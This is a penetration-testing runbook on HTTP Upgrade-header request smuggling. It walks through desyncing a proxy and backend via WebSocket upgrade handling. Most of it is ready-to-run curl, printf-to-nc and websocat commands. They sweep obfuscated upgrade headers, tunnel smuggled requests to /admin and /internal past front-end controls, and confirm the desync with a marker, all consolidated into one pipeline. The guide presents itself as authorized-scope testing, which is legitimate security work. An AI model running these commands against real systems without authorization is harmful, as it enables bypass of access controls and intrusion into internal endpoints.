Webupdated Oct 1, 2026

Upgrade Header Smuggling

Abuse Connection and Upgrade headers to desync proxies through WebSocket upgrades and tunneled requests.

toolbox:burp suitewebsocat

A runbook for Upgrade header smuggling in an authorized scope. Goal: find where a proxy and backend disagree about a protocol switch, then confirm the desync with a marker.

1. Understand the upgrade handshake

A WebSocket upgrade starts as HTTP with Connection: Upgrade and Upgrade: websocket. After a 101 the socket carries raw frames. If one side thinks the upgrade failed, it keeps parsing HTTP — the basis for smuggling.

curl -s -D - -o /dev/null https://target/ \
  -H 'Connection: keep-alive, Upgrade' -H 'Upgrade: websocket'

2. Compare upgrade handling

Send the upgrade request to the front end and to the backend (via a direct port or proxy bypass) and diff the responses.

printf 'GET / HTTP/1.1\r\nHost: target\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n' | nc target 443
curl -s -D - -o /dev/null https://target/ -H 'Connection: Upgrade' -H 'Upgrade: websocket'

A 101 from one and a 200/400 from the other is the mismatch you want.

3. Obfuscate the upgrade header

Servers sometimes miss a malformed or lowercased header while the peer honors it. Sweep casing, whitespace, and multiple Connection tokens.

for h in 'Upgrade: websocket' 'upgrade: websocket' 'Upgrade : websocket' \
         'Connection: keep-alive, Upgrade' 'Connection: Upgrade, keep-alive'; do
  printf 'GET / HTTP/1.1\r\nHost: target\r\n%s\r\n\r\n' "$h" | nc target 80
done

4. Tunnel a smuggled request

Once desynced, place a second HTTP request after the handshake so it travels over what one side treats as a tunnel.

printf 'GET / HTTP/1.1\r\nHost: target\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n' | nc target 80

5. Confirm with a marker

Prove the desync with a distinct response marker where it should not appear. Restrict testing to your own session.

websocat -t ws://target/ 2>/dev/null &  # observe tunnel behavior
printf 'GET / HTTP/1.1\r\nHost: target\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\nGET /404-marker HTTP/1.1\r\nHost: target\r\n\r\n' | nc target 80 | grep -i '404-marker'

6. Check front-end control bypass

Test whether the tunnel reaches internal-only endpoints or paths normally blocked by the proxy.

curl -s -o /dev/null -w '%{http_code}\n' https://target/internal
printf 'GET / HTTP/1.1\r\nHost: target\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\nGET /internal HTTP/1.1\r\nHost: target\r\n\r\n' | nc target 80 | head

7. Full pipeline (one block)

HOST=target
# 1) compare upgrade handling front vs back
printf 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n' "$HOST" | nc "$HOST" 80 | head -n 3
curl -s -D - -o /dev/null "https://$HOST/" -H 'Connection: Upgrade' -H 'Upgrade: websocket' | head -n 3
# 2) obfuscation sweep
for h in 'Upgrade: websocket' 'upgrade: websocket' 'Upgrade : websocket' 'Connection: keep-alive, Upgrade'; do
  printf 'GET / HTTP/1.1\r\nHost: %s\r\n%s\r\n\r\n' "$HOST" "$h" | nc "$HOST" 80 | head -n 1
done
# 3) smuggle a request through the tunnel and look for the marker
printf 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\nGET /404-marker HTTP/1.1\r\nHost: %s\r\n\r\n' "$HOST" "$HOST" | nc "$HOST" 80 | grep -i '404-marker'

Ethics & legality

  • Only test hosts in an official scope or with written authorization.
  • Close tunnels after testing; never leave live tunnels affecting other users.
  • Keep raw handshake/response evidence for the report.